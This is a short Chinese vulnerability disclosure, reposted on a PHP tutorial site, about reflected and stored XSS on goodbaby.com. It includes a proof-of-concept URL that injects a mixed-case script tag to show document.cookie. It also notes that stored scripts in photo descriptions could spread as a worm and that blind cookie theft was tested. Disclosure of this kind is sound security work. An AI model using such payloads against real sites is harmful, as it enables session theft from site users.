来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] 反射型存储型。详细说明：反射型xss:仅对双引号过滤了，完全没有抵抗力。http://www.goodbaby.com/tips/goodbaby/stepbystep/Step_3.php?ContentKeyID=ScRiPt alert(document.cookie)/ScRiPtTimeKeyID=一......
|
反射型&存储型。
详细说明：反射型xss:仅对双引号过滤了，完全没有抵抗力。
http://www.goodbaby.com/tips/goodbaby/stepbystep/Step_3.php?ContentKeyID=<ScRiPt >alert(document.cookie)</ScRiPt>&TimeKeyID=一朝分娩
存储型xss:照片描述处可以植入任意JS代码，照片对外公开，所有人可以浏览可以制造蠕虫。
http://album.goodbaby.com/album/album_album.php?albumid=4snme
存储型
 反射型
 盲打获取COOKIE测试
 修复方案：
过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
